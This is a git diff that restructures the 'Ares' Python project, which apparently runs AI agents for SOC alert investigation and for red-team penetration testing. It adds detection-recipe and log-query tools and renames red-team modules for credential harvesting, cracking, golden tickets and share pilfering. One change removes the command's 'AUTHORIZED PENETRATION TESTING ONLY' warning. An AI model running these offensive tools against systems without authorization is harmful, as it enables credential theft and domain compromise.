Singleton TemplateLoader instance. Example: - >>> from src.templates import get_template_loader + >>> from ares.core.templates import get_template_loader >>> loader = get_template_loader() >>> prompt = loader.render("agent/initial_alert_prompt.md.jinja", ...) """ diff --git a/src/ares/integrations/__init__.py b/src/ares/integrations/__init__.py new file mode 100644 index 00000000..e95f0a29 --- /dev/null +++ b/src/ares/integrations/__init__.py @@ -0,0 +1,7 @@ +"""External service integrations.""" + +from ares.integrations.mitre import MITREAttackClient + +__all__ = [ + "MITREAttackClient", +] diff --git a/src/mitre.py b/src/ares/integrations/mitre.py similarity index 100% rename from src/mitre.py rename to src/ares/integrations/mitre.py diff --git a/src/main.py b/src/ares/main.py similarity index 71% rename from src/main.py rename to src/ares/main.py index 4085b852..f76ee2f3 100644 --- a/src/main.py +++ b/src/ares/main.py @@ -30,6 +30,7 @@ class Args: poll_interval: Seconds between alert polling cycles. max_steps: Maximum agent steps per investigation. report_dir: Directory for markdown reports. + once: Process current alerts once and exit (default: run forever). """ model: str = "claude-sonnet-4-20250514" @@ -37,7 +38,8 @@ class Args: grafana_api_key: str = "" poll_interval: int = 30 max_steps: int = 150 - report_dir: str = "reports" + report_dir: str = "./reports" # Relative to CWD + once: bool = False # Process current alerts once and exit @dataclass @@ -110,9 +112,9 @@ async def main( logger.info(f"Report Dir: {args.report_dir}") logger.info("=" * 60) - from .agent import InvestigationOrchestrator - from .mitre import MITREAttackClient - from .tools import GrafanaTools + from ares.agents.blue import InvestigationOrchestrator + from ares.integrations.mitre import MITREAttackClient + from ares.tools.blue import GrafanaTools # Initialize MITRE client logger.info("Loading MITRE ATT&CK data from STIX repository...") @@ -123,9 +125,9 @@ async def main( tactics_count = len(mitre_client._tactics) # noqa: SLF001 logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics") - # Create report directory - report_dir = Path(args.report_dir) - report_dir.mkdir(exist_ok=True) + report_dir = Path(args.report_dir).resolve() + report_dir.mkdir(parents=True, exist_ok=True) + logger.info(f"Reports: {report_dir}") # Initialize orchestrator orchestrator = InvestigationOrchestrator( @@ -146,62 +148,81 @@ async def main( # Track investigated alerts investigated_fingerprints: set[str] = set() - logger.info(f"Polling for alerts every {args.poll_interval}s...") - logger.info("Press Ctrl+C to stop") + if args.once: + logger.info("Processing current alerts once and exiting...") + else: + logger.info(f"Polling for alerts every {args.poll_interval}s...") + logger.info("Press Ctrl+C to stop") logger.info("") - while True: - try: - # Poll for firing alerts - alerts = await grafana.get_firing_alerts() - - for alert in alerts: - fingerprint = alert.get("fingerprint", "") - - # Skip already investigated - if fingerprint in investigated_fingerprints: - continue - - alert_name = alert.get("labels", {}).get("alertname", "unknown") - severity = alert.get("labels", {}).get("severity", "unknown") - + try: + while True: + try: + # Poll for firing alerts + alerts = await grafana.get_firing_alerts() + + for alert in alerts: + fingerprint = alert.get("fingerprint", "") + + # Skip already investigated + if fingerprint in investigated_fingerprints: + continue + + alert_name = alert.get("labels", {}).get("alertname", "unknown") + severity = alert.get("labels", {}).get("severity", "unknown") + + logger.info("") + logger.info("=" * 60) + logger.info(f"NEW ALERT: {alert_name}") + logger.info(f"Severity: {severity}") + logger.info(f"Fingerprint: {fingerprint}") + logger.info("=" * 60) + + # Mark as being investigated + investigated_fingerprints.add(fingerprint) + + # Run investigation + try: + result = await orchestrator.investigate(alert) + + logger.success("") + logger.success("INVESTIGATION COMPLETE") + logger.success(f" Status: {result['status']}") + logger.success(f" Evidence: {result['evidence_count']} items") + logger.success(f" Techniques: {len(result['techniques_identified'])}") + logger.success(f" Pyramid Level: {result['highest_pyramid_level']}/6") + logger.success(f" Report: {result['report_path']}") + + except Exception as e: + logger.error(f"Investigation failed: {e}") + dn.log_metric("investigation_failed", 1, mode="count") + + # If running in once mode, exit after processing current alerts + if args.once: + logger.info("") + logger.info("=" * 60) + logger.info(f"Processed {len(investigated_fingerprints)} alerts") + logger.info("Exiting (--once mode)") + logger.info("=" * 60) + break + + # Wait before next poll + await asyncio.sleep(args.poll_interval) + + except KeyboardInterrupt: logger.info("") - logger.info("=" * 60) - logger.info(f"NEW ALERT: {alert_name}") - logger.info(f"Severity: {severity}") - logger.info(f"Fingerprint: {fingerprint}") - logger.info("=" * 60) + logger.info("Shutting down gracefully...") + break - # Mark as being investigated - investigated_fingerprints.add(fingerprint) + except Exception as e: + logger.error(f"Polling error: {e}") + await asyncio.sleep(args.poll_interval) - # Run investigation - try: - result = await orchestrator.investigate(alert) - - logger.success("") - logger.success("INVESTIGATION COMPLETE") - logger.success(f" Status: {result['status']}") - logger.success(f" Evidence: {result['evidence_count']} items") - logger.success(f" Techniques: {len(result['techniques_identified'])}") - logger.success(f" Pyramid Level: {result['highest_pyramid_level']}/6") - logger.success(f" Report: {result['report_path']}") - - except Exception as e: - logger.error(f"Investigation failed: {e}") - dn.log_metric("investigation_failed", 1, mode="count") - - # Wait before next poll - await asyncio.sleep(args.poll_interval) - - except KeyboardInterrupt: - logger.info("") - logger.info("Shutting down...") - break - - except Exception as e: - logger.error(f"Polling error: {e}") - await asyncio.sleep(args.poll_interval) + finally: + # Clean up MCP connection on shutdown + logger.info("Cleaning up connections...") + await orchestrator._shutdown_mcp() + logger.success("Shutdown complete") # Cyclopts decorator typing not yet fully supported by type checkers @@ -243,17 +264,16 @@ async def investigate_alert( console=dn_args.console, ) - from .agent import InvestigationOrchestrator - from .mitre import MITREAttackClient + from ares.agents.blue import InvestigationOrchestrator + from ares.integrations.mitre import MITREAttackClient # Load MITRE data logger.info("Loading MITRE ATT&CK data...") mitre_client = MITREAttackClient() await mitre_client.load() - # Create orchestrator - report_dir = Path(args.report_dir) - report_dir.mkdir(exist_ok=True) + report_dir = Path(args.report_dir).resolve() + report_dir.mkdir(parents=True, exist_ok=True) orchestrator = InvestigationOrchestrator( model=args.model, @@ -327,13 +347,9 @@ async def redteam( logger.info(f"Max Steps: {args.max_steps}") logger.info(f"Report Dir: {args.report_dir}") logger.info("=" * 60) - logger.warning("") - logger.warning("āš ļø AUTHORIZED PENETRATION TESTING ONLY") - logger.warning(" Ensure you have proper authorization before proceeding") - logger.warning("") - from .mitre import MITREAttackClient - from .redteam_agent import RedTeamOrchestrator + from ares.integrations.mitre import MITREAttackClient + from ares.agents.red import RedTeamOrchestrator # Load MITRE data logger.info("Loading MITRE ATT&CK data...") @@ -344,9 +360,9 @@ async def redteam( tactics_count = len(mitre_client._tactics) # noqa: SLF001 logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics") - # Create report directory - report_dir = Path(args.report_dir) - report_dir.mkdir(exist_ok=True) + report_dir = Path(args.report_dir).resolve() + report_dir.mkdir(parents=True, exist_ok=True) + logger.info(f"Reports: {report_dir}") # Create orchestrator orchestrator = RedTeamOrchestrator( diff --git a/src/ares/reports/__init__.py b/src/ares/reports/__init__.py new file mode 100644 index 00000000..024f761c --- /dev/null +++ b/src/ares/reports/__init__.py @@ -0,0 +1,9 @@ +"""Report generators for investigations and red team operations.""" + +from ares.reports.investigation import MarkdownReportGenerator +from ares.reports.redteam import RedTeamReportGenerator + +__all__ = [ + "MarkdownReportGenerator", + "RedTeamReportGenerator", +] diff --git a/src/report.py b/src/ares/reports/investigation.py similarity index 99% rename from src/report.py rename to src/ares/reports/investigation.py index 24a669aa..47ef14cb 100644 --- a/src/report.py +++ b/src/ares/reports/investigation.py @@ -9,8 +9,8 @@ from datetime import datetime, timezone from pathlib import Path -from .models import InvestigationState, PyramidLevel -from .templates import get_template_loader +from ares.core.models import InvestigationState, PyramidLevel +from ares.core.templates import get_template_loader PYRAMID_EMOJI = { PyramidLevel.HASH_VALUES: "šŸ”µ", diff --git a/src/redteam_report.py b/src/ares/reports/redteam.py similarity index 94% rename from src/redteam_report.py rename to src/ares/reports/redteam.py index dfc27514..507cce05 100644 --- a/src/redteam_report.py +++ b/src/ares/reports/redteam.py @@ -5,10 +5,10 @@ credentials, attack paths, and MITRE ATT&CK mapping. """ -from datetime import datetime +from datetime import datetime, timezone -from .models import RedTeamState -from .templates import get_template_loader +from ares.core.models import RedTeamState +from ares.core.templates import get_template_loader class RedTeamReportGenerator: @@ -31,7 +31,7 @@ def generate(self, state: RedTeamState) -> str: Complete markdown report as a string. """ # Calculate duration - duration = datetime.utcnow() - state.started_at + duration = datetime.now(timezone.utc) - state.started_at duration_str = str(duration).split(".")[0] # Remove microseconds # Generate executive summary @@ -43,7 +43,7 @@ def generate(self, state: RedTeamState) -> str: operation_id=state.operation_id, target_ip=state.target.ip, started_at=state.started_at.strftime("%Y-%m-%d %H:%M:%S UTC"), - completed_at=datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC"), + completed_at=datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC"), duration=duration_str, stage=state.stage.value, executive_summary=executive_summary, diff --git a/src/ares/tools/__init__.py b/src/ares/tools/__init__.py new file mode 100644 index 00000000..4bce5a0f --- /dev/null +++ b/src/ares/tools/__init__.py @@ -0,0 +1,21 @@ +"""Tools for Ares SOC Investigation and Red Team Agents.""" + +from ares.tools.blue.actions import CompletionTools, escalate_investigation +from ares.tools.blue.grafana import GrafanaTools, connect_grafana_mcp +from ares.tools.blue.investigation import InvestigationTools, QuestionEngineTools +from ares.tools.blue.observability import LokiTools, PrometheusTools +from ares.tools.shared.mitre import MITRELookupTools + +__all__ = [ + # Blue team tools + "CompletionTools", + "GrafanaTools", + "InvestigationTools", + "LokiTools", + "MITRELookupTools", + "PrometheusTools", + "QuestionEngineTools", + "connect_grafana_mcp", + "escalate_investigation", + # Red team tools imported separately as needed +] diff --git a/src/ares/tools/blue/__init__.py b/src/ares/tools/blue/__init__.py new file mode 100644 index 00000000..ccbf7e4e --- /dev/null +++ b/src/ares/tools/blue/__init__.py @@ -0,0 +1,17 @@ +"""Blue team investigation tools.""" + +from ares.tools.blue.actions import CompletionTools, escalate_investigation +from ares.tools.blue.grafana import GrafanaTools, connect_grafana_mcp +from ares.tools.blue.investigation import InvestigationTools, QuestionEngineTools +from ares.tools.blue.observability import LokiTools, PrometheusTools + +__all__ = [ + "CompletionTools", + "GrafanaTools", + "InvestigationTools", + "LokiTools", + "PrometheusTools", + "QuestionEngineTools", + "connect_grafana_mcp", + "escalate_investigation", +] diff --git a/src/ares/tools/blue/actions.py b/src/ares/tools/blue/actions.py new file mode 100644 index 00000000..75c3363a --- /dev/null +++ b/src/ares/tools/blue/actions.py @@ -0,0 +1,212 @@ +"""Investigation completion and escalation actions.""" + +from datetime import datetime, timezone + +import dreadnode as dn +from dreadnode.agent.tools.base import Toolset +from loguru import logger + +from ares.core.models import InvestigationStage, InvestigationState + + +class CompletionTools(Toolset): # type: ignore[misc] + """Tools for completing investigations with validation. + + Attributes: + state: Current investigation state for validation. + """ + + state: InvestigationState | None = None + + def set_state(self, state: InvestigationState): + """Set the investigation state (called by orchestrator).""" + self.state = state + + @dn.tool_method # type: ignore[untyped-decorator] + async def complete_investigation( + self, + summary: str, + attack_synopsis: str, + recommendations: list[str], + confidence: str, + affected_hosts: list[str], + affected_users: list[str], + attack_timeframe: str, + ) -> str: + """Complete the investigation and signal report generation. + + REQUIRED before calling: + 1. Must have transitioned through lateral stage + 2. Must have investigated at least one host + 3. Must provide specific affected hosts/users + 4. Must provide attack timeframe + + Args: + summary: Executive summary (2-3 sentences). + attack_synopsis: Detailed description of the attack chain. + recommendations: List of recommended actions. + confidence: Overall confidence level (high/medium/low with explanation). + affected_hosts: List of hosts involved in the attack (IPs or hostnames). + affected_users: List of user accounts involved. + attack_timeframe: Time range of the attack (e.g., "2024-01-15 14:30-15:45 UTC"). + + Returns: + Confirmation message or error if validation fails. + + Example: + >>> await complete_investigation( + ... summary="Detected Kerberoasting attack targeting service accounts.", + ... attack_synopsis="Attacker performed AS-REP roasting against samwell.tarly...", + ... recommendations=["Reset passwords for samwell.tarly and jeor.mormont"], + ... confidence="High - Multiple corroborating Kerberos events", + ... affected_hosts=["10.0.4.186", "WINTERFELL.north.sevenkingdoms.local"], + ... affected_users=["samwell.tarly", "jeor.mormont"], + ... attack_timeframe="2024-01-08 04:37-04:43 UTC" + ... ) + 'Investigation completed. Report will be generated.' + """ + errors = [] + + # Validate state exists + if not self.state: + return "ERROR: No investigation state. Cannot complete." + + # Validate lateral investigation was performed + if self.state.stage.value not in ["lateral", "synthesis"]: + errors.append( + f"ERROR: Must reach 'lateral' stage before completion. " + f"Current stage: {self.state.stage.value}. " + f"Call transition_stage('lateral') after investigating scope." + ) + + # Validate hosts were investigated + if not self.state.queried_hosts and not affected_hosts: + errors.append( + "ERROR: No hosts investigated. Use track_host_investigation() " + "to investigate affected hosts before completing." + ) + + # Validate affected_hosts is not empty + if not affected_hosts: + errors.append( + "ERROR: affected_hosts is required. Provide the list of " + "hosts/IPs involved in the attack." + ) + + # Validate affected_users is not empty + if not affected_users: + errors.append( + "ERROR: affected_users is required. Provide the list of " + "user accounts involved in the attack." + ) + + # Validate attack_timeframe is specific + if not attack_timeframe or len(attack_timeframe) < 10: + errors.append( + "ERROR: attack_timeframe must be specific (e.g., '2024-01-08 04:37-04:43 UTC'). " + "This should reflect the ACTUAL event timestamps from your investigation." + ) + + # Validate synopsis is substantive + if len(attack_synopsis) < 100: + errors.append( + "ERROR: attack_synopsis too short. Provide a detailed description " + "of the attack chain including: initial access, techniques used, " + "and impact." + ) + + # Validate evidence was collected + if len(self.state.evidence) < 2: + errors.append( + f"ERROR: Insufficient evidence ({len(self.state.evidence)} items). " + "Continue investigation to gather more evidence." + ) + + # If errors, return them all + if errors: + dn.log_metric("completion_validation_failed", 1) + return "\n\n".join(errors) + + # All validations passed + dn.log_metric("investigation_completed", 1) + dn.log_output( + "completion_summary", + { + "summary": summary, + "attack_synopsis": attack_synopsis, + "recommendations": recommendations, + "confidence": confidence, + "affected_hosts": affected_hosts, + "affected_users": affected_users, + "attack_timeframe": attack_timeframe, + "evidence_count": len(self.state.evidence), + "timeline_events": len(self.state.timeline), + "hosts_investigated": list(self.state.queried_hosts), + "users_investigated": list(self.state.queried_users), + }, + ) + + logger.success("Investigation completed") + + return "Investigation completed. Report will be generated." + + +@dn.tool() # type: ignore[untyped-decorator] +async def escalate_investigation( + reason: str, + severity: str, + current_findings: str, + immediate_actions: list[str], +) -> str: + """Escalate the investigation for human analyst review. + + Call this if: + - You identify an active, ongoing attack + - The scope exceeds investigation capacity + - You need human analyst intervention + - Critical infrastructure is at risk + + Args: + reason: Why escalation is needed. + severity: critical, high, or medium. + current_findings: Summary of what you've found so far. + immediate_actions: Actions that should be taken immediately. + + Returns: + Confirmation message. + + Example: + >>> await escalate_investigation( + ... reason="Active lateral movement detected across 15+ hosts", + ... severity="critical", + ... current_findings="Attacker has Domain Admin credentials and is actively " + ... "exfiltrating data from file servers.", + ... immediate_actions=[ + ... "Isolate compromised domain controller", + ... "Reset all privileged account passwords", + ... "Block C2 IP addresses at firewall" + ... ] + ... ) + 'Investigation escalated with severity=critical. Human analyst notified.' + + See Also: + complete_investigation: For normal investigation completion. + """ + dn.log_metric("investigation_escalated", 1) + dn.tag(f"escalation:{severity}") + dn.tag("needs_human_review") + + dn.log_output( + "escalation", + { + "reason": reason, + "severity": severity, + "findings": current_findings, + "immediate_actions": immediate_actions, + "escalated_at": datetime.now(timezone.utc).isoformat(), + }, + ) + + logger.warning(f"Investigation escalated: {reason}") + + return f"Investigation escalated with severity={severity}. Human analyst notified." diff --git a/src/tools/grafana.py b/src/ares/tools/blue/grafana.py similarity index 77% rename from src/tools/grafana.py rename to src/ares/tools/blue/grafana.py index a8759437..aa54f517 100644 --- a/src/tools/grafana.py +++ b/src/ares/tools/blue/grafana.py @@ -34,19 +34,36 @@ async def get_firing_alerts(self) -> list[dict]: Returns: List of firing alert instances with labels, annotations, and values. """ - try: - async with httpx.AsyncClient(timeout=self.timeout) as client: - response = await client.get( - f"{self.base_url}/api/alertmanager/grafana/api/v2/alerts", - headers=self._headers(), - params={"active": "true"}, - ) - response.raise_for_status() - return response.json() - - except httpx.HTTPError as e: - logger.error(f"Failed to get alerts: {e}") - return [] + # Try multiple Grafana alert API endpoints (depends on Grafana version) + endpoints = [ + "/api/alertmanager/grafana/api/v2/alerts", # Grafana 9+ + "/api/v1/alerts", # Alternative + "/api/prometheus/grafana/api/v1/alerts", # Older format + ] + + for endpoint in endpoints: + try: + async with httpx.AsyncClient(timeout=self.timeout) as client: + response = await client.get( + f"{self.base_url}{endpoint}", + headers=self._headers(), + params={"active": "true"}, + ) + if response.status_code == 200: + logger.info(f"Successfully connected to Grafana alerts at {endpoint}") + return response.json() + elif response.status_code == 404: + continue # Try next endpoint + else: + response.raise_for_status() + + except httpx.HTTPError as e: + if "404" not in str(e): + logger.error(f"Failed to get alerts from {endpoint}: {e}") + continue + + logger.warning("Could not find Grafana alerts endpoint. Using empty alerts list.") + return [] @dn.tool_method # type: ignore[untyped-decorator] async def get_alert_history( diff --git a/src/tools/investigation.py b/src/ares/tools/blue/investigation.py similarity index 70% rename from src/tools/investigation.py rename to src/ares/tools/blue/investigation.py index d6aa3927..606c6fdb 100644 --- a/src/tools/investigation.py +++ b/src/ares/tools/blue/investigation.py @@ -7,10 +7,10 @@ from dreadnode.agent.tools.base import Toolset from loguru import logger -from src.engines import MITRENavigator, PyramidClimber -from src.mitre import MITREAttackClient -from src.models import Evidence, InvestigationStage, InvestigationState, PyramidLevel, TimelineEvent -from src.templates import get_template_loader +from ares.core.engines import MITRENavigator, PyramidClimber, _load_attack_chains, _load_detection_recipes +from ares.integrations.mitre import MITREAttackClient +from ares.core.models import Evidence, InvestigationStage, InvestigationState, PyramidLevel, TimelineEvent +from ares.core.templates import get_template_loader class InvestigationTools(Toolset): # type: ignore[misc] @@ -401,3 +401,135 @@ def get_combined_questions(self, max_questions: int = 10) -> list[dict]: dn.log_metric("combined_questions_generated", len(all_questions)) return [q.to_dict() for q in all_questions[:max_questions]] + + @dn.tool_method # type: ignore[untyped-decorator] + def get_attack_chain_precursors(self, technique_id: str) -> dict: + """Get precursor techniques for a detected technique. + + When you detect a technique, call this to find out what typically + happens BEFORE this attack. Precursors are CRITICAL for understanding + the full attack chain. + + Args: + technique_id: MITRE technique ID (e.g., "T1003.006" for DCSync). + + Returns: + Dict with precursors, windows_events, log_patterns, and investigation_questions. + + Example: + >>> get_attack_chain_precursors("T1003.006") + { + 'technique': 'T1003.006', + 'name': 'DCSync', + 'precursors': [ + {'technique': 'T1087', 'name': 'Account Discovery', ...}, + {'technique': 'T1135', 'name': 'Network Share Discovery', ...}, + ... + ], + 'windows_events': [ + {'event_id': 4625, 'name': 'Failed Logon', ...}, + ... + ], + ... + } + """ + attack_chains = _load_attack_chains() + + if technique_id not in attack_chains: + return { + "technique": technique_id, + "message": "No attack chain data available for this technique", + "suggestion": "Check related techniques or parent techniques" + } + + chain_data = attack_chains[technique_id] + return { + "technique": technique_id, + "name": chain_data.get("name", ""), + "description": chain_data.get("description", ""), + "precursors": chain_data.get("precursors", []), + "windows_events": chain_data.get("windows_events", []), + "log_patterns": chain_data.get("log_patterns", []), + "investigation_questions": chain_data.get("investigation_questions", []), + } + + @dn.tool_method # type: ignore[untyped-decorator] + def get_detection_recipe(self, recipe_name: str) -> dict: + """Get a specific detection recipe with Windows event patterns. + + Detection recipes provide specific patterns for detecting attack + techniques using Windows Security Event logs and LogQL queries. + + Available recipes: + - password_spray: Detect password spray attacks + - credential_stuffing: Detect credential stuffing + - share_enumeration: Detect network share enumeration + - ldap_enumeration: Detect LDAP/AD enumeration + - kerberos_attacks: Detect Kerberoasting, AS-REP roasting, etc. + - dcsync: Detect DCSync attacks + - pass_the_hash: Detect pass-the-hash attacks + - service_enumeration: Detect network service scanning + + Args: + recipe_name: Name of the detection recipe. + + Returns: + Dict with indicators, windows_events, logql_queries, and investigation_steps. + + Example: + >>> get_detection_recipe("password_spray") + { + 'name': 'Password Spray Attack Detection', + 'mitre_technique': 'T1110.003', + 'indicators': [...], + 'windows_events': {...}, + 'logql_queries': [...], + 'investigation_steps': {...} + } + """ + recipes = _load_detection_recipes() + + if recipe_name not in recipes: + available = [k for k in recipes.keys() if not k.startswith("query_")] + return { + "error": f"Recipe '{recipe_name}' not found", + "available_recipes": available + } + + recipe = recipes[recipe_name] + return { + "name": recipe.get("name", recipe_name), + "description": recipe.get("description", ""), + "mitre_technique": recipe.get("mitre_technique") or recipe.get("mitre_techniques"), + "indicators": recipe.get("indicators", []), + "windows_events": recipe.get("windows_events", {}), + "logql_queries": recipe.get("logql_queries", []), + "investigation_steps": recipe.get("investigation_steps", {}), + "detection_logic": recipe.get("detection_patterns", {}), + } + + @dn.tool_method # type: ignore[untyped-decorator] + def list_detection_recipes(self) -> list[dict]: + """List all available detection recipes. + + Use this to see what detection patterns are available for + different attack techniques. + + Returns: + List of available recipes with name and MITRE technique mapping. + """ + recipes = _load_detection_recipes() + + result = [] + for key, value in recipes.items(): + if key.startswith("query_"): + continue # Skip query template section + if isinstance(value, dict): + result.append({ + "recipe_name": key, + "name": value.get("name", key), + "mitre_technique": value.get("mitre_technique") or value.get("mitre_techniques"), + "description": value.get("description", "")[:100] + "..." if value.get("description") else "", + }) + + return result diff --git a/src/tools/observability.py b/src/ares/tools/blue/observability.py similarity index 59% rename from src/tools/observability.py rename to src/ares/tools/blue/observability.py index 625572ab..24043ef7 100644 --- a/src/tools/observability.py +++ b/src/ares/tools/blue/observability.py @@ -32,8 +32,39 @@ async def query_logs( Write your own LogQL queries to investigate the logs. No templates - use your knowledge of the query language. + CRITICAL SYNTAX RULES: + + 1. LABEL MATCHERS (must be first, in curly braces): + - Exact match: {job="varlogs"} + - Regex match: {app=~"web-.+"} (NOT .* - see below) + - Not equal: {env!="prod"} + - Multiple: {job="syslog", hostname="web-01"} + + 2. LINE FILTERS (use |= |! =~ !~ after label matchers): + - Contains: |= "error" + - Not contains: != "debug" + - Regex: |~ "error|failed" + - Not regex: !~ "info|debug" + Example: {job="syslog"} |= "error" + + 3. PARSER EXPRESSIONS (| json, | logfmt, | pattern, | regexp): + Example: {job="app"} | json | level="error" + + 4. AVOID THESE COMMON ERRORS: + - āŒ {app=~".*"} - Empty-compatible regex (use .+ instead) + - āŒ {job="app"} = "error" - Wrong operator (use |= not =) + - āŒ {job="app"} "error" - Missing operator (add |=) + - āŒ {job="app"} | "error" - Use |= not | + - āŒ Quotes inside unescaped strings + + 5. VALID COMPLETE EXAMPLES: + - {job="syslog"} |= "error" + - {job="syslog", hostname="web-01"} |= "error" |~ "critical" + - {namespace="default"} | json | status_code="500" + - {app=~"web-.+"} != "healthcheck" + Args: - logql: The LogQL query string. + logql: The LogQL query string. Must start with label matchers {...}. start_time: ISO8601 timestamp for query start (e.g., "2024-01-15T10:00:00Z"). end_time: ISO8601 timestamp for query end. limit: Maximum number of log lines to return (default 500). @@ -41,19 +72,18 @@ async def query_logs( Returns: Query results with log streams and entries. - Example: - >>> await query_logs( - ... logql='{job="syslog", hostname="web-01"} |= "error"', - ... start_time="2024-01-15T10:00:00Z", - ... end_time="2024-01-15T11:00:00Z", - ... limit=100 - ... ) - {'status': 'success', 'data': {'resultType': 'streams', ...}} - See Also: query_logs_around_timestamp: For time-window queries around a specific event. get_label_values: For discovering available log labels. """ + # Validate query to prevent empty-compatible regex errors + if '=~".*"' in logql or "=~'.*'" in logql: + return { + "status": "error", + "error": "Query contains empty-compatible regex '.*'. Use '.+' instead to require at least one character, or use specific label values.", + "suggestion": "Replace =~\".*\" with =~\".+\" or use exact matches like job=\"varlog\"", + } + dn.log_metric("loki_queries", 1, mode="count") logger.info(f"Loki query: {logql}") @@ -78,14 +108,21 @@ async def query_logs( except httpx.HTTPError as e: logger.error(f"Loki query failed: {e}") - return {"error": str(e), "data": {"result": []}} + logger.error(f"Failed query was: {logql}") + # Return detailed error for the agent to learn from + return { + "status": "error", + "error": str(e), + "query": logql, + "hint": "Check LogQL syntax. Common issues: missing quotes, invalid operators, incorrect label matchers.", + } @dn.tool_method # type: ignore[untyped-decorator] async def query_logs_around_timestamp( self, logql: str, timestamp: str, - window_minutes: int = 5, + window_minutes: int = 30, limit: int = 500, ) -> dict: """Query logs within a time window around a specific timestamp. @@ -95,7 +132,7 @@ async def query_logs_around_timestamp( Args: logql: The LogQL query string. timestamp: ISO8601 timestamp to center the query on. - window_minutes: Minutes before and after the timestamp (default 5). + window_minutes: Minutes before and after the timestamp (default 30). limit: Maximum number of log lines. Returns: @@ -112,6 +149,104 @@ async def query_logs_around_timestamp( limit=limit, ) + @dn.tool_method # type: ignore[untyped-decorator] + async def query_logs_progressive( + self, + logql: str, + reference_timestamp: str, + limit: int = 500, + ) -> dict: + """Query logs with progressive time window expansion. + + Starts with a 30-minute window and expands to 1h, 6h, 24h if no results found. + This is useful when the alert timestamp may be stale and the actual activity + occurred at a different time. + + Args: + logql: The LogQL query string. + reference_timestamp: ISO8601 timestamp to start searching from. + limit: Maximum number of log lines. + + Returns: + Query results with metadata about which time window succeeded. + """ + windows = [30, 60, 360, 1440] # 30min, 1h, 6h, 24h + center = datetime.fromisoformat(reference_timestamp.replace("Z", "+00:00")) + + for window_mins in windows: + start = (center - timedelta(minutes=window_mins)).isoformat() + end = (center + timedelta(minutes=window_mins)).isoformat() + + logger.info(f"Progressive query: trying ±{window_mins}min window") + result = await self.query_logs( + logql=logql, + start_time=start, + end_time=end, + limit=limit, + ) + + # Check if we got results + data = result.get("data", {}) + results = data.get("result", []) + if results: + total_entries = sum(len(r.get("values", [])) for r in results) + if total_entries > 0: + result["_window_minutes"] = window_mins + result["_window_expanded"] = window_mins > 30 + result["_search_start"] = start + result["_search_end"] = end + logger.info(f"Progressive query: found {total_entries} entries in ±{window_mins}min window") + return result + + # No results in any window + return { + "status": "success", + "data": {"result": []}, + "_window_minutes": 1440, + "_window_expanded": True, + "_no_results": True, + "_message": "No results found in any time window (30min to 24h)", + } + + @dn.tool_method # type: ignore[untyped-decorator] + async def query_logs_recent( + self, + logql: str, + hours_back: int = 1, + limit: int = 500, + ) -> dict: + """Query logs from recent time (relative to NOW, not alert timestamp). + + Use this to check CURRENT activity regardless of alert timestamp. + Critical for detecting if an alert's startsAt is stale. + + Args: + logql: The LogQL query string. + hours_back: How many hours back from now to query (default 1). + limit: Maximum number of log lines. + + Returns: + Query results from recent time window. + """ + from datetime import timezone + + now = datetime.now(timezone.utc) + start = (now - timedelta(hours=hours_back)).isoformat() + end = now.isoformat() + + logger.info(f"Recent query: last {hours_back}h from now") + dn.log_metric("loki_recent_queries", 1, mode="count") + + result = await self.query_logs( + logql=logql, + start_time=start, + end_time=end, + limit=limit, + ) + result["_query_type"] = "recent" + result["_hours_back"] = hours_back + return result + @dn.tool_method # type: ignore[untyped-decorator] async def get_label_values(self, label: str) -> list[str]: """Get all values for a specific Loki label. diff --git a/src/ares/tools/red/__init__.py b/src/ares/tools/red/__init__.py new file mode 100644 index 00000000..17bb258a --- /dev/null +++ b/src/ares/tools/red/__init__.py @@ -0,0 +1,19 @@ +"""Red team penetration testing tools.""" + +from ares.tools.red.network import ( + CredentialHarvestingTools, + CrackingTools, + GoldenTicketTools, + NetworkEnumerationTools, + RedTeamReportingTools, + SharePilferingTools, +) + +__all__ = [ + "CredentialHarvestingTools", + "CrackingTools", + "GoldenTicketTools", + "NetworkEnumerationTools", + "RedTeamReportingTools", + "SharePilferingTools", +] diff --git a/src/tools/redteam.py b/src/ares/tools/red/network.py similarity index 99% rename from src/tools/redteam.py rename to src/ares/tools/red/network.py index 36afca0d..25a55316 100644 --- a/src/tools/redteam.py +++ b/src/ares/tools/red/network.py @@ -9,13 +9,13 @@ import subprocess import tempfile import time -from datetime import datetime +from datetime import datetime, timezone from typing import Any import dreadnode as dn from dreadnode.agent.tools.base import Toolset -from src.models import ( +from ares.core.models import ( Credential, Hash, Host, @@ -854,7 +854,7 @@ def generate_golden_ticket( # Add timeline event event = TimelineEvent( id=f"evt-{len(self.state.timeline):04d}", - timestamp=datetime.utcnow(), + timestamp=datetime.now(timezone.utc), description=f"Golden ticket generated for {domain}", mitre_techniques=["T1558.001"], # Golden Ticket confidence=1.0, @@ -1452,7 +1452,7 @@ def record_finding( self.state.has_domain_admin = True event = TimelineEvent( id=f"evt-{len(self.state.timeline):04d}", - timestamp=datetime.utcnow(), + timestamp=datetime.now(timezone.utc), description=f"Domain admin access achieved: {data.get('details', '')}", mitre_techniques=["T1078.002"], # Domain Accounts confidence=1.0, diff --git a/src/ares/tools/shared/__init__.py b/src/ares/tools/shared/__init__.py new file mode 100644 index 00000000..25bc85fd --- /dev/null +++ b/src/ares/tools/shared/__init__.py @@ -0,0 +1,7 @@ +"""Shared tools for both blue and red team operations.""" + +from ares.tools.shared.mitre import MITRELookupTools + +__all__ = [ + "MITRELookupTools", +] diff --git a/src/tools/mitre.py b/src/ares/tools/shared/mitre.py similarity index 98% rename from src/tools/mitre.py rename to src/ares/tools/shared/mitre.py index 26813bb0..134d481b 100644 --- a/src/tools/mitre.py +++ b/src/ares/tools/shared/mitre.py @@ -3,7 +3,7 @@ import dreadnode as dn from dreadnode.agent.tools.base import Toolset -from src.mitre import MITREAttackClient +from ares.integrations.mitre import MITREAttackClient class MITRELookupTools(Toolset): # type: ignore[misc] diff --git a/src/core/__init__.py b/src/core/__init__.py deleted file mode 100644 index db546728..00000000 --- a/src/core/__init__.py +++ /dev/null @@ -1,5 +0,0 @@ -"""Core agent creation and configuration.""" - -from .create import create_investigation_agent - -__all__ = ["create_investigation_agent"] diff --git a/src/tools/__init__.py b/src/tools/__init__.py deleted file mode 100644 index 25e210dd..00000000 --- a/src/tools/__init__.py +++ /dev/null @@ -1,19 +0,0 @@ -"""Tools for Ares SOC Investigation Agent.""" - -from .actions import complete_investigation, escalate_investigation -from .grafana import GrafanaTools, 